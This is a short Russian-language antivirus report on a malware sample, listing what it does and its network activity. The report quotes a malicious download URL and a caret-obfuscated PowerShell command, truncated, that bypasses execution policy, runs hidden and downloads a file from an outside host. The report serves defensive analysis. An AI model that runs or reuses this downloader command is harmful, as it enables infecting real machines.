Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zoerpoled.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOw^er^s^H^ELL.^e^XE ^-e^XeCUtioNpOl^iCy^ B^y^P^aSs^ ^-n^o^Pr^OfIlE -^wINd^o^Ws^t^Yle h^idden^ (^NEw^-O^b^JeC^T ^SY^stEm.^Ne^T^.^We^B^CLiE^Nt).^D^O^wn^lo^a^dF^IL^E^('http:/...
Сетевая активность
UDP
- DNS ASK zo###oled.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOw^er^s^H^ELL.^e^XE ^-e^XeCUtioNpOl^iCy^ B^y^P^aSs^ ^-n^o^Pr^OfIlE -^wINd^o^Ws^t^Yle h^idden^ (^NEw^-O^b^JeC^T ^SY^stEm.^Ne^T^.^We^B^CLiE^Nt).^D^O^wn^lo^a^dF^IL^E^('http:/...' (со скрытым окном)
